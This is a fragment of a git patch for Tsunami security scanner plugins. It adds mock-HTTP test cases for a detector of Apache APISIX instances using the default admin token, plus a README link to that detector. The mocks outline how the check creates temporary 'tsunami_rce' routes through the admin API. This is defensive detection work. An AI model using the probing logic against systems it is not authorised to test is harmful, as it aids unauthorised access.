+ body_content: '' + }, + { + uri: "/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}_1" + status: 503 + body_content: '' + }, + { + uri: "/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}_2" + status: 503 + body_content: '' + } + ] + } +} + +tests: { + name: "whenResponsesDifferent_returnsVuln" + expect_vulnerability: true + + mock_http_server: { + mock_responses: [ + { + uri: "/" + status: 200 + body_content: '' + headers: [ + { name: "Server" value: "APISIX" } + ] + }, + { + uri: "/apisix/admin/routes/tsunami_rce_1?ttl=30" + status: 201 + body_content: '' + }, + { + uri: "/apisix/admin/routes/tsunami_rce_2?ttl=30" + status: 201 + body_content: '' + }, + { + uri: "/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}_1" + status: 503 + body_content: '' + }, + { + uri: "/tsunami_rce/{{ T_UTL_CURRENT_TIMESTAMP_MS }}_2" + status: 404 + body_content: '' + } + ] + } +} + tests: { name: "whenRandomServer_returnsNoVuln" From 589f9c588af4ae87848283e3775be168cb069109 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Thu, 11 Jun 2026 08:55:53 -0400 Subject: [PATCH 4/4] added link --- community/README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/community/README.md b/community/README.md index e651c1cea..f9cfc7b02 100644 --- a/community/README.md +++ b/community/README.md @@ -48,6 +48,7 @@ This directory contains plugins contributed by community members. * [Uptrain Exposed API VulnDetector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/uptrain_exposed_api) * [CVE-2025-0655 D-Tale Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/dtale_cve_2025_0655) * [Flowise Exposed UI Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/flowise_exposed_ui) +* [Apache APISIX with default Admin token Detector, now updated to Templated format](https://github.com/google/tsunami-security-scanner-plugins/tree/master/templated/templateddetector/plugins/credentials/ApacheAPISIX_DefaultAPIKey.textproto) #### XML External Entity (XXE) Injection